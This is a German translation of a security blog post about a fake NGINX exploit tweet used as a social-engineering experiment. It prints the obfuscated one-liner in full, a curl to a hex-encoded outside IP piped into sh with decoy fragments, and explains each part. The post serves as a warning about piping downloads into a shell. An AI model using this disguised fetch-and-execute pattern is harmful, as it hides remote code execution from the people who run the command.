Der Erfolg eines sozialen Experiments mit einem gefälschten Exploit für Nginx

Hinweis perev. : Der Autor des am 1. Juni veröffentlichten Originalartikels hat beschlossen, ein Experiment unter Interessenten an Informationssicherheit durchzuführen. Zu diesem Zweck bereitete er einen gefälschten Exploit für eine unbekannte Sicherheitslücke im Webserver vor und veröffentlichte ihn auf seinem Twitter. Seine Annahmen - von Experten, die einen offensichtlichen Betrug im Code sehen, sofort entlarvt zu werden - haben sich nicht nur erfüllt ... Sie haben alle Erwartungen übertroffen und in die entgegengesetzte Richtung: Der Tweet wurde von zahlreichen Personen, die seinen Inhalt nicht überprüft haben, sehr unterstützt.



TL; DR: Verwenden Sie niemals File Pipelining in sh oder bash. Dies ist eine großartige Möglichkeit, die Kontrolle über Ihren Computer zu verlieren.

Ich möchte Ihnen eine kleine Geschichte über den Comic-PoC-Exploit erzählen, der am 31. Mai erstellt wurde. Er antwortete prompt auf die Nachricht von Alisa Esage Shevchenko , einem Mitglied der Zero Day Initiative (ZDI), dass Informationen über die Sicherheitslücke in NGINX, die zu RCE (Remote Code Execution) führt, bald bekannt werden würden. Da NGINX die Basis vieler Websites ist, sollten die Nachrichten den Effekt einer explodierenden Bombe hervorrufen. Aufgrund von Verzögerungen bei der „verantwortungsvollen Offenlegung“ von Informationen waren die Einzelheiten des Geschehens jedoch nicht bekannt - dies ist das Standardverfahren des ZDI.


Tweet zur Offenlegung von NGINX- Schwachstellen

Nachdem ich die Arbeit an der neuen Verschleierungstechnik in Curl beendet hatte, zitierte ich den ursprünglichen Tweet und „leckte den funktionierenden PoC“, bestehend aus einer Codezeile, die angeblich die entdeckte Sicherheitsanfälligkeit verwendet. Natürlich war es völliger Unsinn. Ich dachte, dass sie mich sofort zu sauberem Wasser bringen würden und dass ich bestenfalls ein paar Retweets bekommen würde (okay).


Gefälschter Exploit- Tweet

Ich konnte mir jedoch nicht vorstellen, was als nächstes geschah. Die Popularität meines Tweets ist in die Höhe geschossen. Überraschenderweise haben im Moment (15:00 Uhr Moskauer Zeit am 1. Juni) bisher nur wenige erkannt, dass dies eine Fälschung ist. Viele twittern es erneut, ohne es zu überprüfen (ganz zu schweigen von der Bewunderung der schönen ASCII-Grafiken, die es anzeigt).


Schau mal was für eine Schönheit!

Obwohl all diese Schleifen und Farben natürlich wunderbar sind: Um sie zu sehen, haben die Leute den Code auf ihrem Computer ausgeführt. Glücklicherweise funktionieren Browser ähnlich und in Kombination mit der Tatsache, dass ich überhaupt keine rechtlichen Probleme benötige, hat der auf meiner Website versteckte Code nur Echoaufrufe ausgeführt, ohne zu versuchen, zusätzlichen Code zu installieren oder auszuführen.

Ein kleiner Exkurs: netspooky , dnz , ich und andere Leute vom Thugcrowd- Team spielen seit einiger Zeit mit verschiedenen Methoden, um Curl-Befehle zu verschleiern, weil es cool ist ... und wir sind Geeks. netspooky und dnz entdeckten mehrere neue Wege, die mir äußerst vielversprechend erschienen. Ich habe mich dem Spaß angeschlossen und versucht, einer Reihe von Tricks IP-Dezimal-Konvertierungen hinzuzufügen. Es stellte sich heraus, dass IP auch hexadezimal konvertiert werden kann. Darüber hinaus essen Curl und die meisten anderen NIX-Tools gerne hexadezimale IPs! Alles, was benötigt wurde, war einfach eine überzeugende und sicher aussehende Befehlszeile zu erstellen. Ich habe mich schließlich dazu entschlossen:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost 

Sozio-Electronic Engineering (SEE) - Mehr als nur Phishing

Sicherheit und Gewohnheit waren der Hauptteil dieses Experiments. Ich denke, sie haben zu seinem Erfolg geführt. Die Befehlszeile implizierte explizit Sicherheit und bezog sich auf "127.0.0.1" (den bekannten lokalen Host). Es wird angenommen, dass localhost sicher ist und die darauf befindlichen Daten Ihren Computer niemals verlassen.

Die Bewohnbarkeit war die zweite wichtige SEE-Komponente des Experiments. Da die Zielgruppe hauptsächlich aus Personen bestand, die mit den Grundlagen der Computersicherheit vertraut waren, war es wichtig, solchen Code zu erstellen, dass seine Teile vertraut und vertraut (und daher sicher) waren. Es war sehr erfolgreich, Elemente alter Exploit-Konzepte auszuleihen und auf ungewöhnliche Weise zu kombinieren.

Unten finden Sie eine detaillierte Analyse einer einzelnen Zeile. Alles auf dieser Liste ist kosmetischer Natur , und für die eigentliche Arbeit ist praktisch nichts erforderlich.

Welche Komponenten sind wirklich notwendig? Dies sind -gsS , -O 0x0238f06a , |sh und der Webserver selbst. Der Webserver enthielt keine schädlichen Anweisungen, sondern übertrug die ASCII-Grafiken einfach mithilfe von echo Befehlen in dem in index.html enthaltenen Skript. Wenn der Benutzer eine Zeile mit |sh in der Mitte index.html wurde index.html geladen und ausgeführt. Glücklicherweise hatten die Webserver-Bewahrer keine bösen Absichten.

• ../../../%00 - zeigt einen Exit außerhalb des Verzeichnisses;
• ngx_stream_module.so - Pfad zum zufälligen NGINX-Modul;
• /bin/sh%00\<'protocol:TCP' - Wir führen angeblich /bin/sh auf dem Zielcomputer aus und leiten die Ausgabe auf den TCP-Kanal um.
• -O 0x0238f06a#PLToffset - geheime Zutat, ergänzt durch #PLToffset , um wie ein in PLT enthaltener Speicheroffset auszusehen;
• |sh; - Ein weiteres wichtiges Stück. Wir mussten die Ausgabe nach sh / bash umleiten, um den Code auszuführen, der vom angreifenden Webserver unter 0x0238f06a ( 2.56.240.x ) stammt.
• nc /dev/tcp/localhost - ein Dummy, in dem netcat auf /dev/tcp/localhost verweist, damit alles wieder sicher aussieht. In der Tat tut es nichts und ist in der Linie für Schönheit enthalten.

Damit ist die Dekodierung eines einzeiligen Skripts und die Erörterung von Aspekten des „sozioelektronischen Engineerings“ (kompliziertes Phishing) abgeschlossen.

Webserverkonfiguration und Gegenmaßnahmen

Da die überwiegende Mehrheit meiner Abonnenten Informationssicherheit / Hacker sind, habe ich beschlossen, den Webserver etwas widerstandsfähiger gegen Manifestationen von „Interesse“ zu machen, nur damit die Jungs etwas zu tun hatten (und es hat Spaß gemacht, ihn einzurichten). Ich werde hier nicht alle Fallen auflisten, da das Experiment noch läuft, aber hier sind einige Dinge, die der Server tut:

• Überwacht aktiv Verteilungsversuche in bestimmten sozialen Netzwerken und ersetzt verschiedene Vorschaubilder, um den Benutzer zu ermutigen, dem Link zu folgen.
• Leitet Chrome / Mozilla / Safari / usw. zum Thugcrowd-Promo-Video um, anstatt das Shell-Skript anzuzeigen.
• Es überwacht offensichtliche Anzeichen von Eindringen / Hacking und leitet anschließend Anforderungen an NSA-Server um (ha!).
• Installiert den Trojaner sowie das Rootkit-BIOS auf allen Computern, deren Benutzer den Host über einen normalen Browser besuchen (Witz!).

Ein kleiner Teil des Antimers

In diesem Fall war mein einziges Ziel, einige der Funktionen von Apache zu lernen - insbesondere coole Regeln für die Umleitung von Anfragen - und ich dachte: Warum nicht?

NGINX Exploit (echt!)

Folgen Sie @alisaesage auf Twitter und freuen Sie sich auf die großartige Arbeit von ZDI bei der Behebung sehr realer Schwachstellen und der Nutzung von Möglichkeiten in NGINX. Ihre Arbeit hat mich immer fasziniert und ich bin Alice für die Geduld mit all den Erwähnungen und Benachrichtigungen dankbar, die durch meinen dummen Tweet verursacht wurden. Glücklicherweise brachte es einige Vorteile: Es trug dazu bei, das Bewusstsein für NGINX-Schwachstellen sowie für Probleme, die durch Curl-Missbrauch verursacht wurden, zu schärfen.